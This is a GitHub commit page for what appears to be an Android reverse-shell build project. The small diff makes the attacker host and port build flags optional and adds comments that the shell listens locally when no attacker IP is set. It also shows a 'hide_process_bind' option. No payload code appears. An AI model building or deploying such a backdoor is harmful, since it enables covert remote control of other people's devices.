Skip to content

Commit

Permalink
fix wrong definitions
Browse files Browse the repository at this point in the history
  • Loading branch information
ng committed Mar 27, 2024
1 parent bea23ef commit f8429fb
Show file tree
Hide file tree
Showing 2 changed files with 3 additions and 3 deletions.
2 changes: 1 addition & 1 deletion build_revshell.py
Original file line number Diff line number Diff line change
Expand Up @@ -331,7 +331,7 @@ def build_binary(args):
base_flags += ' MAGISK_DEBUG=1'

if 'executor' in args.target:
flags = f'B_EXECUTOR=1 B_64BIT=1 LPORT={config.get("lport")} LHOST={config.get("lhost")}'
flags = f'B_EXECUTOR=1 B_64BIT=1 LPORT={config.get("lport") or ""} LHOST={config.get("lhost") or ""}'
if config.get("hide_process_bind") == "1":
flags += ' HIDE_PROCESS_BIND=1'
run_ndk_build(flags)
Expand Down
4 changes: 2 additions & 2 deletions config.prop.sample
Original file line number Diff line number Diff line change
Expand Up @@ -34,8 +34,8 @@
# (see native/jni/payload/executor.cpp)
#####################################################

# lport=31337 # Attacker's port
# lhost=192.168.0.10 # Attacker's IP
# lport=31337 # Attacker's (or local bind) port. Default: 31337
# lhost=192.168.0.10 # Attacker's IP. If not present, will listen on LPORT


#####################################################
Expand Down

0 comments on commit f8429fb

Please sign in to comment.